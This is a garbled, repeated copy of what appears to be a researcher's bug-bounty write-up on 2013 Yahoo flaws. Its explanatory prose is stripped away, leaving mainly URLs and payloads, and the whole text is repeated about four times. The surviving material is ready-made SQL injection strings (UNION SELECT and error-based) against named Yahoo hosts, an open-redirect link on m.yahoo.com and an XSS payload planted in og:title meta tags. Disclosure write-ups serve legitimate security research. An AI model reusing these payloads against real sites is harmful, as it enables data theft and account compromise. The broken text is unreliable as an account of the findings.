  ,     ,           . ,  ,     . 
 
  ,  ,    ,  ,     ,     -10     Yahoo - Wall of Fame . 
 
    -    : hackerone.com/4lemon . 
 
 PS.        .        . ,  HackerOne    ,      .   - Yahoo      10 . 

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .

.
, XSS.

. SQLi *.sports.yahoo.com.
.
http://sports.yahoo.com/static/bir/nascardrivercompare?year=2013&series=sprint&race=43&c1=99CCFF&c2=00A900&c3=D30897&d1=205&d2=711
. , race . , , . , "<" ">". - BETWEEN . Union select . - username@% - IP. - , , . - , , . , -, , SQLi-, . :
sports.yahoo.com/golf/pga/schedule?season=2013
sports.yahoo.com/golf/pga/stats/bycategory?cat=CUP_POINTS&season=2013
sports.yahoo.com/golf/lpga/players/ShinAe+Ahn/10966/log?season=2012
sports.yahoo.com/golf/lpga/schedule?season=2012
sports.yahoo.com/golf/champions/schedule?season=2012
sports.yahoo.com/golf/web.com/schedule?season=2013
sports.yahoo.com/golf/european/schedule?season=2013
sports.yahoo.com/golf/pga/players/Tiger+Woods/147/log?season=2012
:
sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=23
sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
sports.yahoo.com/wnba/stats/byposition?pos=G&conference=WNBA&year=2013&sort=TEAM_ABBR
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
ca.sports.yahoo.com/mlb/players/7163/splits?year=2013&type=Batting
ca.sports.yahoo.com/mlb/players/7163/batvspit?year=2012&type=Batting
ca.sports.yahoo.com/mlb/players/7163/situational?year=2012&type=Batting
ca.sports.yahoo.com/mlb/stats/byposition?pos=1B&conference=MLB&year=season_2013&qualified=1&sort=0
ca.sports.yahoo.com/mlb/stats/byteam?cat=Overall&cut_type=0&sort=722&conference=MLB&year=postseason_2013
ca.sports.yahoo.com/mlb/standings?type=regular&year=season_2013
sports.yahoo.com/wnba/stats/bycategory?cat=Fielding&conference=WNBA&year=2013&sort=29
:
sports.yahoo.com/wnba/stats/byteam?cat1=Splits&cat2=140&conference=WNBA&year=2013
:
racing.fantasysports.yahoo.com/auto/expertpicks?week=35
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
(stat1/2):
baseball.fantasysports.yahoo.com/b1/176043/1?date=2013-09-29&stat1=SPS&stat2=54_2013
football.fantasysports.yahoo.com/f1/1064329/2/team?week=12&stat1=SPS&stat2=37_2013
baseball.fantasysports.yahoo.com/b1/176043/players?status=A&pos=B&cut_type=33&stat1=S_S_2013&myteam=0&sort=AR&sdir=1
basketball.fantasysports.yahoo.com/nba/57114/3/team?stat1=S&stat2=S_2012
basketball.fantasysports.yahoo.com/nba/57114/players?status=3&pos=P&cut_type=33&stat1=S_AS_2013&myteam=0&sort=10&sdir=1
:
- Union select - - , - .
- , USERNAME@%
- @@hostname , 40+ . MySQL. . , . . .
- , year=postseason_2013 information_schema, . , hex, - .

:
racing.fantasysports.yahoo.com/auto/playerdistribution?week=35
UNION SELECT:
http://racing.fantasysports.yahoo.com/auto/playerdistribution?week=0%20union%20select%201,2,3%20--%20and%201=2
. - , , . , , UNION " - ". :
union select 1, ord(substr(user(),1,1))/100,1
.

:

SQL . .

. Open redirect m.yahoo.com.
m.yahoo.com, ( : dark side of reproduce this bug ), :
Welcome to Yahoo
Thanks for signing in!
It looks like you customized your Home Page before you signed in. What would you like to do?
[radiobutton] Move the existing settings to my Yahoo ID [radiobutton] Ignore the existing settings [radiobutton] Not sure, show me a preview
"Not sure". POST- :
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en
Firebug' GET:
m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=&hid=uqacAfM-&ycb=z5H1KI8rvxS
- . , , POST-, $_POST $_REQUEST . XSS, done , , "" ycb :
http://m.yahoo.com/w/ygo-frontpage/login/mergesubmit.bp?.ts=1385212848&.intl=us&.lang=en&__submit=Continue&choice=preview&done=http://example.com&hid=zzzzzzz&ycb=MALFORMED

, , : " ?!". Yahoo 394 .

. SQLi hk.promotion.yahoo.net.
. , , yahoo.net . , . - . .

, error-based SQLi:
http://hk.promotion.yahoo.net/comments/service.php?q=retrieve_comments&comment_url=http://hk.promotion.yahoo.net/education/secschool/tutorial/%27%20AND%20%28SELECT%206898%20FROM%28SELECT%20COUNT%28*%29,CONCAT%280x3a766f763a,user%28%29,0x3a7661793a,FLOOR%28RAND%280%29*2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x%29a%29%20AND%20%27cQlK%27=%27cQlK&page=0&no_of_comment=3&callback=jQuery18309010937072284149_1385387977539&_=1385387978928

, . XSS info.yahoo.com.
( ).
http://info.yahoo.com/_xhr/mtf_popup/?url=http%3A%2F%2Finfo.yahoo.com%2Fpress-center%2Farticle%2Fyahoo-enters-amendment-share-repurchase-200500390.html&site=info®ion=US&lang=en-US&alias_id=yahoo-enters-amendment-share-repurchase-200500390

- , . - .

. http https. , , , , meta- og:title og:description . meta- :
<meta property="og:title" content="og <img src=asdf onerror='alert(\"xss\")'> Yahoo Enters into Amendment to Share Repurchase and Preference Sale Agreement with Alibaba"/>
XSS. . XSS, Chrome, .

.
, Yahoo. . . , .

.
finance.yahoo.com. , UNION SELECT SQLi c . :
21.11 -
25.11 -
27.11 - : " , "
27.11 - - .
2.12 - : " , ."
"WTF?!!!" - . .
10.12 - . , , , : ", . ."
, Yahoo XSS SQLi " ":

, , . , , .

, , , , , -10 Yahoo - Wall of Fame .

- : hackerone.com/4lemon .

PS. . . , HackerOne , . - Yahoo 10 .